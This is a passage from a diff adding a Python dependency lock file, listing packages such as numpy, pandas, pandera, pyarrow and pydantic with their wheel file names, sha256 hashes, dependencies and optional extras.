"hiredis-2.3.2-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a91a14dd95e24dc078204b18b0199226ee44644974c645dc54ee7b00c3157330"}, + {file = "hiredis-2.3.2-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bb777a38797c8c7df0444533119570be18d1a4ce5478dffc00c875684df7bfcb"}, + {file = "hiredis-2.3.2-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d47c915897a99d0d34a39fad4be97b4b709ab3d0d3b779ebccf2b6024a8c681e"}, + {file = "hiredis-2.3.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:333b5e04866758b11bda5f5315b4e671d15755fc6ed3b7969721bc6311d0ee36"}, + {file = "hiredis-2.3.2-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c8937f1100435698c18e4da086968c4b5d70e86ea718376f833475ab3277c9aa"}, + {file = "hiredis-2.3.2-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa45f7d771094b8145af10db74704ab0f698adb682fbf3721d8090f90e42cc49"}, + {file = "hiredis-2.3.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:33d5ebc93c39aed4b5bc769f8ce0819bc50e74bb95d57a35f838f1c4378978e0"}, + {file = "hiredis-2.3.2-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a797d8c7df9944314d309b0d9e1b354e2fa4430a05bb7604da13b6ad291bf959"}, + {file = "hiredis-2.3.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:e15a408f71a6c8c87b364f1f15a6cd9c1baca12bbc47a326ac8ab99ec7ad3c64"}, + {file = "hiredis-2.3.2.tar.gz", hash = "sha256:733e2456b68f3f126ddaf2cd500a33b25146c3676b97ea843665717bda0c5d43"}, +] + +[[package]] +name = "joblib" +version = "1.3.2" +description = "Lightweight pipelining with Python functions" +optional = false +python-versions = ">=3.7" +files = [ + {file = "joblib-1.3.2-py3-none-any.whl", hash = "sha256:ef4331c65f239985f3f2220ecc87db222f08fd22097a3dd5698f693875f8cbb9"}, + {file = "joblib-1.3.2.tar.gz", hash = "sha256:92f865e621e17784e7955080b6d042489e3b8e294949cc44c6eac304f59772b1"}, +] + +[[package]] +name = "multimethod" +version = "1.11" +description = "Multiple argument dispatching." +optional = false +python-versions = ">=3.9" +files = [ + {file = "multimethod-1.11-py3-none-any.whl", hash = "sha256:e57253f5b6d530b10696843e693c11f0dadbe299a327bd71cdf3edd0019a3853"}, + {file = "multimethod-1.11.tar.gz", hash = "sha256:ef40713d84da4015285122a16f57bf5066cc7876b5eaf183262f3c34668c6ad3"}, +] + +[[package]] +name = "mypy-extensions" +version = "1.0.0" +description = "Type system extensions for programs checked with the mypy type checker." +optional = false +python-versions = ">=3.5" +files = [ + {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"}, + {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"}, +] + +[[package]] +name = "numpy" +version = "1.26.3" +description = "Fundamental package for array computing in Python" +optional = false +python-versions = ">=3.9" +files = [ + {file = "numpy-1.26.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:806dd64230dbbfaca8a27faa64e2f414bf1c6622ab78cc4264f7f5f028fee3bf"}, + {file = "numpy-1.26.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02f98011ba4ab17f46f80f7f8f1c291ee7d855fcef0a5a98db80767a468c85cd"}, + {file = "numpy-1.26.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6d45b3ec2faed4baca41c76617fcdcfa4f684ff7a151ce6fc78ad3b6e85af0a6"}, + {file = "numpy-1.26.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdd2b45bf079d9ad90377048e2747a0c82351989a2165821f0c96831b4a2a54b"}, + {file = "numpy-1.26.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:211ddd1e94817ed2d175b60b6374120244a4dd2287f4ece45d49228b4d529178"}, + {file = "numpy-1.26.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b1240f767f69d7c4c8a29adde2310b871153df9b26b5cb2b54a561ac85146485"}, + {file = "numpy-1.26.3-cp310-cp310-win32.whl", hash = "sha256:21a9484e75ad018974a2fdaa216524d64ed4212e418e0a551a2d83403b0531d3"}, + {file = "numpy-1.26.3-cp310-cp310-win_amd64.whl", hash = "sha256:9e1591f6ae98bcfac2a4bbf9221c0b92ab49762228f38287f6eeb5f3f55905ce"}, + {file = "numpy-1.26.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b831295e5472954104ecb46cd98c08b98b49c69fdb7040483aff799a755a7374"}, + {file = "numpy-1.26.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9e87562b91f68dd8b1c39149d0323b42e0082db7ddb8e934ab4c292094d575d6"}, + {file = "numpy-1.26.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c66d6fec467e8c0f975818c1796d25c53521124b7cfb760114be0abad53a0a2"}, + {file = "numpy-1.26.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f25e2811a9c932e43943a2615e65fc487a0b6b49218899e62e426e7f0a57eeda"}, + {file = "numpy-1.26.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:af36e0aa45e25c9f57bf684b1175e59ea05d9a7d3e8e87b7ae1a1da246f2767e"}, + {file = "numpy-1.26.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:51c7f1b344f302067b02e0f5b5d2daa9ed4a721cf49f070280ac202738ea7f00"}, + {file = "numpy-1.26.3-cp311-cp311-win32.whl", hash = "sha256:7ca4f24341df071877849eb2034948459ce3a07915c2734f1abb4018d9c49d7b"}, + {file = "numpy-1.26.3-cp311-cp311-win_amd64.whl", hash = "sha256:39763aee6dfdd4878032361b30b2b12593fb445ddb66bbac802e2113eb8a6ac4"}, + {file = "numpy-1.26.3-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:a7081fd19a6d573e1a05e600c82a1c421011db7935ed0d5c483e9dd96b99cf13"}, + {file = "numpy-1.26.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:12c70ac274b32bc00c7f61b515126c9205323703abb99cd41836e8125ea0043e"}, + {file = "numpy-1.26.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7f784e13e598e9594750b2ef6729bcd5a47f6cfe4a12cca13def35e06d8163e3"}, + {file = "numpy-1.26.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f24750ef94d56ce6e33e4019a8a4d68cfdb1ef661a52cdaee628a56d2437419"}, + {file = "numpy-1.26.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:77810ef29e0fb1d289d225cabb9ee6cf4d11978a00bb99f7f8ec2132a84e0166"}, + {file = "numpy-1.26.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8ed07a90f5450d99dad60d3799f9c03c6566709bd53b497eb9ccad9a55867f36"}, + {file = "numpy-1.26.3-cp312-cp312-win32.whl", hash = "sha256:f73497e8c38295aaa4741bdfa4fda1a5aedda5473074369eca10626835445511"}, + {file = "numpy-1.26.3-cp312-cp312-win_amd64.whl", hash = "sha256:da4b0c6c699a0ad73c810736303f7fbae483bcb012e38d7eb06a5e3b432c981b"}, + {file = "numpy-1.26.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1666f634cb3c80ccbd77ec97bc17337718f56d6658acf5d3b906ca03e90ce87f"}, + {file = "numpy-1.26.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:18c3319a7d39b2c6a9e3bb75aab2304ab79a811ac0168a671a62e6346c29b03f"}, + {file = "numpy-1.26.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b7e807d6888da0db6e7e75838444d62495e2b588b99e90dd80c3459594e857b"}, + {file = "numpy-1.26.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b4d362e17bcb0011738c2d83e0a65ea8ce627057b2fdda37678f4374a382a137"}, + {file = "numpy-1.26.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b8c275f0ae90069496068c714387b4a0eba5d531aace269559ff2b43655edd58"}, + {file = "numpy-1.26.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:cc0743f0302b94f397a4a65a660d4cd24267439eb16493fb3caad2e4389bccbb"}, + {file = "numpy-1.26.3-cp39-cp39-win32.whl", hash = "sha256:9bc6d1a7f8cedd519c4b7b1156d98e051b726bf160715b769106661d567b3f03"}, + {file = "numpy-1.26.3-cp39-cp39-win_amd64.whl", hash = "sha256:867e3644e208c8922a3be26fc6bbf112a035f50f0a86497f98f228c50c607bb2"}, + {file = "numpy-1.26.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3c67423b3703f8fbd90f5adaa37f85b5794d3366948efe9a5190a5f3a83fc34e"}, + {file = "numpy-1.26.3-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46f47ee566d98849323f01b349d58f2557f02167ee301e5e28809a8c0e27a2d0"}, + {file = "numpy-1.26.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a8474703bffc65ca15853d5fd4d06b18138ae90c17c8d12169968e998e448bb5"}, + {file = "numpy-1.26.3.tar.gz", hash = "sha256:697df43e2b6310ecc9d95f05d5ef20eacc09c7c4ecc9da3f235d39e71b7da1e4"}, +] + +[[package]] +name = "packaging" +version = "23.2" +description = "Core utilities for Python packages" +optional = false +python-versions = ">=3.7" +files = [ + {file = "packaging-23.2-py3-none-any.whl", hash = "sha256:8c491190033a9af7e1d931d0b5dacc2ef47509b34dd0de67ed209b5203fc88c7"}, + {file = "packaging-23.2.tar.gz", hash = "sha256:048fb0e9405036518eaaf48a55953c750c11e1a1b68e0dd1a9d62ed0c092cfc5"}, +] + +[[package]] +name = "pandas" +version = "2.2.0" +description = "Powerful data structures for data analysis, time series, and statistics" +optional = false +python-versions = ">=3.9" +files = [ + {file = "pandas-2.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:8108ee1712bb4fa2c16981fba7e68b3f6ea330277f5ca34fa8d557e986a11670"}, + {file = "pandas-2.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:736da9ad4033aeab51d067fc3bd69a0ba36f5a60f66a527b3d72e2030e63280a"}, + {file = "pandas-2.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38e0b4fc3ddceb56ec8a287313bc22abe17ab0eb184069f08fc6a9352a769b18"}, + {file = "pandas-2.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20404d2adefe92aed3b38da41d0847a143a09be982a31b85bc7dd565bdba0f4e"}, + {file = "pandas-2.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:7ea3ee3f125032bfcade3a4cf85131ed064b4f8dd23e5ce6fa16473e48ebcaf5"}, + {file = "pandas-2.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:f9670b3ac00a387620489dfc1bca66db47a787f4e55911f1293063a78b108df1"}, + {file = "pandas-2.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:5a946f210383c7e6d16312d30b238fd508d80d927014f3b33fb5b15c2f895430"}, + {file = "pandas-2.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a1b438fa26b208005c997e78672f1aa8138f67002e833312e6230f3e57fa87d5"}, + {file = "pandas-2.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8ce2fbc8d9bf303ce54a476116165220a1fedf15985b09656b4b4275300e920b"}, + {file = "pandas-2.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2707514a7bec41a4ab81f2ccce8b382961a29fbe9492eab1305bb075b2b1ff4f"}, + {file = "pandas-2.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:85793cbdc2d5bc32620dc8ffa715423f0c680dacacf55056ba13454a5be5de88"}, + {file = "pandas-2.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:cfd6c2491dc821b10c716ad6776e7ab311f7df5d16038d0b7458bc0b67dc10f3"}, + {file = "pandas-2.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a146b9dcacc3123aa2b399df1a284de5f46287a4ab4fbfc237eac98a92ebcb71"}, + {file = "pandas-2.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:fbc1b53c0e1fdf16388c33c3cca160f798d38aea2978004dd3f4d3dec56454c9"}, + {file = "pandas-2.2.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:a41d06f308a024981dcaa6c41f2f2be46a6b186b902c94c2674e8cb5c42985bc"}, + {file = "pandas-2.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:159205c99d7a5ce89ecfc37cb08ed179de7783737cea403b295b5eda8e9c56d1"}, + {file = "pandas-2.2.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eb1e1f3861ea9132b32f2133788f3b14911b68102d562715d71bd0013bc45440"}, + {file = "pandas-2.2.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:761cb99b42a69005dec2b08854fb1d4888fdf7b05db23a8c5a099e4b886a2106"}, + {file = "pandas-2.2.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:a20628faaf444da122b2a64b1e5360cde100ee6283ae8effa0d8745153809a2e"}, + {file = "pandas-2.2.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:f5be5d03ea2073627e7111f61b9f1f0d9625dc3c4d8dda72cc827b0c58a1d042"}, + {file = "pandas-2.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:a626795722d893ed6aacb64d2401d017ddc8a2341b49e0384ab9bf7112bdec30"}, + {file = "pandas-2.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9f66419d4a41132eb7e9a73dcec9486cf5019f52d90dd35547af11bc58f8637d"}, + {file = "pandas-2.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:57abcaeda83fb80d447f28ab0cc7b32b13978f6f733875ebd1ed14f8fbc0f4ab"}, + {file = "pandas-2.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e60f1f7dba3c2d5ca159e18c46a34e7ca7247a73b5dd1a22b6d59707ed6b899a"}, + {file = "pandas-2.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb61dc8567b798b969bcc1fc964788f5a68214d333cade8319c7ab33e2b5d88a"}, + {file = "pandas-2.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:52826b5f4ed658fa2b729264d63f6732b8b29949c7fd234510d57c61dbeadfcd"}, + {file = "pandas-2.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:bde2bc699dbd80d7bc7f9cab1e23a95c4375de615860ca089f34e7c64f4a8de7"}, + {file = "pandas-2.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:3de918a754bbf2da2381e8a3dcc45eede8cd7775b047b923f9006d5f876802ae"}, + {file = "pandas-2.2.0.tar.gz", hash = "sha256:30b83f7c3eb217fb4d1b494a57a2fda5444f17834f5df2de6b2ffff68dc3c8e2"}, +] + +[package.dependencies] +numpy = {version = ">=1.23.2,<2", markers = "python_version == \"3.11\""} +python-dateutil = ">=2.8.2" +pytz = ">=2020.1" +tzdata = ">=2022.7" + +[package.extras] +all = ["PyQt5 (>=5.15.9)", "SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "adbc-driver-sqlite (>=0.8.0)", "beautifulsoup4 (>=4.11.2)", "bottleneck (>=1.3.6)", "dataframe-api-compat (>=0.1.7)", "fastparquet (>=2022.12.0)", "fsspec (>=2022.11.0)", "gcsfs (>=2022.11.0)", "html5lib (>=1.1)", "hypothesis (>=6.46.1)", "jinja2 (>=3.1.2)", "lxml (>=4.9.2)", "matplotlib (>=3.6.3)", "numba (>=0.56.4)", "numexpr (>=2.8.4)", "odfpy (>=1.4.1)", "openpyxl (>=3.1.0)", "pandas-gbq (>=0.19.0)", "psycopg2 (>=2.9.6)", "pyarrow (>=10.0.1)", "pymysql (>=1.0.2)", "pyreadstat (>=1.2.0)", "pytest (>=7.3.2)", "pytest-xdist (>=2.2.0)", "python-calamine (>=0.1.7)", "pyxlsb (>=1.0.10)", "qtpy (>=2.3.0)", "s3fs (>=2022.11.0)", "scipy (>=1.10.0)", "tables (>=3.8.0)", "tabulate (>=0.9.0)", "xarray (>=2022.12.0)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.5)", "zstandard (>=0.19.0)"] +aws = ["s3fs (>=2022.11.0)"] +clipboard = ["PyQt5 (>=5.15.9)", "qtpy (>=2.3.0)"] +compression = ["zstandard (>=0.19.0)"] +computation = ["scipy (>=1.10.0)", "xarray (>=2022.12.0)"] +consortium-standard = ["dataframe-api-compat (>=0.1.7)"] +excel = ["odfpy (>=1.4.1)", "openpyxl (>=3.1.0)", "python-calamine (>=0.1.7)", "pyxlsb (>=1.0.10)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.5)"] +feather = ["pyarrow (>=10.0.1)"] +fss = ["fsspec (>=2022.11.0)"] +gcp = ["gcsfs (>=2022.11.0)", "pandas-gbq (>=0.19.0)"] +hdf5 = ["tables (>=3.8.0)"] +html = ["beautifulsoup4 (>=4.11.2)", "html5lib (>=1.1)", "lxml (>=4.9.2)"] +mysql = ["SQLAlchemy (>=2.0.0)", "pymysql (>=1.0.2)"] +output-formatting = ["jinja2 (>=3.1.2)", "tabulate (>=0.9.0)"] +parquet = ["pyarrow (>=10.0.1)"] +performance = ["bottleneck (>=1.3.6)", "numba (>=0.56.4)", "numexpr (>=2.8.4)"] +plot = ["matplotlib (>=3.6.3)"] +postgresql = ["SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "psycopg2 (>=2.9.6)"] +spss = ["pyreadstat (>=1.2.0)"] +sql-other = ["SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "adbc-driver-sqlite (>=0.8.0)"] +test = ["hypothesis (>=6.46.1)", "pytest (>=7.3.2)", "pytest-xdist (>=2.2.0)"] +xml = ["lxml (>=4.9.2)"] + +[[package]] +name = "pandera" +version = "0.18.0" +description = "A light-weight and flexible data validation and testing tool for statistical data objects." +optional = false +python-versions = ">=3.7" +files = [ + {file = "pandera-0.18.0-py3-none-any.whl", hash = "sha256:fe2da835a16df5a7e49fbfb828f1eeaea9d6f4534f124630957e64fef53e7e73"}, + {file = "pandera-0.18.0.tar.gz", hash = "sha256:97ab33d884362c0bb99668a12be2855d15c1a71f4934c588a999947b47764bc1"}, +] + +[package.dependencies] +multimethod = "*" +numpy = ">=1.19.0" +packaging = ">=20.0" +pandas = ">=1.2.0" +pydantic = "*" +typeguard = ">=3.0.2" +typing-inspect = ">=0.6.0" +wrapt = "*" + +[package.extras] +all = ["black", "dask", "fastapi", "frictionless (<=4.40.8)", "geopandas", "hypothesis (>=5.41.1)", "modin", "pandas-stubs", "pyspark (>=3.2.0)", "pyyaml (>=5.1)", "ray", "scipy", "shapely"] +dask = ["dask"] +fastapi = ["fastapi"] +geopandas = ["geopandas", "shapely"] +hypotheses = ["scipy"] +io = ["black", "frictionless (<=4.40.8)", "pyyaml (>=5.1)"] +modin = ["dask", "modin", "ray"] +modin-dask = ["dask", "modin"] +modin-ray = ["modin", "ray"] +mypy = ["pandas-stubs"] +pyspark = ["pyspark (>=3.2.0)"] +strategies = ["hypothesis (>=5.41.1)"] + +[[package]] +name = "plumbum" +version = "1.8.2" +description = "Plumbum: shell combinators library" +optional = false +python-versions = ">=3.6" +files = [ + {file = "plumbum-1.8.2-py3-none-any.whl", hash = "sha256:3ad9e5f56c6ec98f6f7988f7ea8b52159662ea9e915868d369dbccbfca0e367e"}, + {file = "plumbum-1.8.2.tar.gz", hash = "sha256:9e6dc032f4af952665f32f3206567bc23b7858b1413611afe603a3f8ad9bfd75"}, +] + +[package.dependencies] +pywin32 = {version = "*", markers = "platform_system == \"Windows\" and platform_python_implementation != \"PyPy\""} + +[package.extras] +dev = ["paramiko", "psutil", "pytest (>=6.0)", "pytest-cov", "pytest-mock", "pytest-timeout"] +docs = ["sphinx (>=4.0.0)", "sphinx-rtd-theme (>=1.0.0)"] +ssh = ["paramiko"] + +[[package]] +name = "pyarrow" +version = "15.0.0" +description = "Python library for Apache Arrow" +optional = false +python-versions = ">=3.8" +files = [ + {file = "pyarrow-15.0.0-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:0a524532fd6dd482edaa563b686d754c70417c2f72742a8c990b322d4c03a15d"}, + {file = "pyarrow-15.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:60a6bdb314affa9c2e0d5dddf3d9cbb9ef4a8dddaa68669975287d47ece67642"}, + {file = "pyarrow-15.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:66958fd1771a4d4b754cd385835e66a3ef6b12611e001d4e5edfcef5f30391e2"}, + {file = "pyarrow-15.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f500956a49aadd907eaa21d4fff75f73954605eaa41f61cb94fb008cf2e00c6"}, + {file = "pyarrow-15.0.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:6f87d9c4f09e049c2cade559643424da84c43a35068f2a1c4653dc5b1408a929"}, + {file = "pyarrow-15.0.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:85239b9f93278e130d86c0e6bb455dcb66fc3fd891398b9d45ace8799a871a1e"}, + {file = "pyarrow-15.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:5b8d43e31ca16aa6e12402fcb1e14352d0d809de70edd185c7650fe80e0769e3"}, + {file = "pyarrow-15.0.0-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:fa7cd198280dbd0c988df525e50e35b5d16873e2cdae2aaaa6363cdb64e3eec5"}, + {file = "pyarrow-15.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8780b1a29d3c8b21ba6b191305a2a607de2e30dab399776ff0aa09131e266340"}, + {file = "pyarrow-15.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fe0ec198ccc680f6c92723fadcb97b74f07c45ff3fdec9dd765deb04955ccf19"}, + {file = "pyarrow-15.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:036a7209c235588c2f07477fe75c07e6caced9b7b61bb897c8d4e52c4b5f9555"}, + {file = "pyarrow-15.0.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:2bd8a0e5296797faf9a3294e9fa2dc67aa7f10ae2207920dbebb785c77e9dbe5"}, + {file = "pyarrow-15.0.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:e8ebed6053dbe76883a822d4e8da36860f479d55a762bd9e70d8494aed87113e"}, + {file = "pyarrow-15.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:17d53a9d1b2b5bd7d5e4cd84d018e2a45bc9baaa68f7e6e3ebed45649900ba99"}, + {file = "pyarrow-15.0.0-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:9950a9c9df24090d3d558b43b97753b8f5867fb8e521f29876aa021c52fda351"}, + {file = "pyarrow-15.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:003d680b5e422d0204e7287bb3fa775b332b3fce2996aa69e9adea23f5c8f970"}, + {file = "pyarrow-15.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f75fce89dad10c95f4bf590b765e3ae98bcc5ba9f6ce75adb828a334e26a3d40"}, + {file = "pyarrow-15.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ca9cb0039923bec49b4fe23803807e4ef39576a2bec59c32b11296464623dc2"}, + {file = "pyarrow-15.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:9ed5a78ed29d171d0acc26a305a4b7f83c122d54ff5270810ac23c75813585e4"}, + {file = "pyarrow-15.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:6eda9e117f0402dfcd3cd6ec9bfee89ac5071c48fc83a84f3075b60efa96747f"}, + {file = "pyarrow-15.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:9a3a6180c0e8f2727e6f1b1c87c72d3254cac909e609f35f22532e4115461177"}, + {file = "pyarrow-15.0.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:19a8918045993349b207de72d4576af0191beef03ea655d8bdb13762f0cd6eac"}, + {file = "pyarrow-15.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d0ec076b32bacb6666e8813a22e6e5a7ef1314c8069d4ff345efa6246bc38593"}, + {file = "pyarrow-15.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5db1769e5d0a77eb92344c7382d6543bea1164cca3704f84aa44e26c67e320fb"}, + {file = "pyarrow-15.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e2617e3bf9df2a00020dd1c1c6dce5cc343d979efe10bc401c0632b0eef6ef5b"}, + {file = "pyarrow-15.0.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:d31c1d45060180131caf10f0f698e3a782db333a422038bf7fe01dace18b3a31"}, + {file = "pyarrow-15.0.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:c8c287d1d479de8269398b34282e206844abb3208224dbdd7166d580804674b7"}, + {file = "pyarrow-15.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:07eb7f07dc9ecbb8dace0f58f009d3a29ee58682fcdc91337dfeb51ea618a75b"}, + {file = "pyarrow-15.0.0-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:47af7036f64fce990bb8a5948c04722e4e3ea3e13b1007ef52dfe0aa8f23cf7f"}, + {file = "pyarrow-15.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:93768ccfff85cf044c418bfeeafce9a8bb0cee091bd8fd19011aff91e58de540"}, + {file = "pyarrow-15.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f6ee87fd6892700960d90abb7b17a72a5abb3b64ee0fe8db6c782bcc2d0dc0b4"}, + {file = "pyarrow-15.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:001fca027738c5f6be0b7a3159cc7ba16a5c52486db18160909a0831b063c4e4"}, + {file = "pyarrow-15.0.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:d1c48648f64aec09accf44140dccb92f4f94394b8d79976c426a5b79b11d4fa7"}, + {file = "pyarrow-15.0.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:972a0141be402bb18e3201448c8ae62958c9c7923dfaa3b3d4530c835ac81aed"}, + {file = "pyarrow-15.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:f01fc5cf49081426429127aa2d427d9d98e1cb94a32cb961d583a70b7c4504e6"}, + {file = "pyarrow-15.0.0.tar.gz", hash = "sha256:876858f549d540898f927eba4ef77cd549ad8d24baa3207cf1b72e5788b50e83"}, +] + +[package.dependencies] +numpy = ">=1.16.6,<2" + +[[package]] +name = "pydantic" +version = "2.5.3" +description = "Data validation using Python type hints" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pydantic-2.5.3-py3-none-any.whl", hash = "sha256:d0caf5954bee831b6bfe7e338c32b9e30c85dfe080c843680783ac2b631673b4"}, + {file = "pydantic-2.5.3.tar.gz", hash = "sha256:b3ef57c62535b0941697cce638c08900d87fcb67e29cfa99e8a68f747f393f7a"}, +] + +[package.dependencies] +annotated-types = ">=0.4.0" +pydantic-core = "2.14.6" +typing-extensions = ">=4.6.1" + +[package.extras] +email = ["email-validator (>=2.0.0)"] + +[[package]] +name = "pydantic-core" +version = "2.14.6" +description = "" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pydantic_core-2.14.6-cp310-cp310-macosx_10_7_x86_64.whl", hash = "sha256:72f9a942d739f09cd42fffe5dc759928217649f070056f03c70df14f5770acf9"}, + {file = "pydantic_core-2.14.6-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6a31d98c0d69776c2576dda4b77b8e0c69ad08e8b539c25c7d0ca0dc19a50d6c"}, + {file = "pydantic_core-2.14.6-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5aa90562bc079c6c290f0512b21768967f9968e4cfea84ea4ff5af5d917016e4"}, + {file = 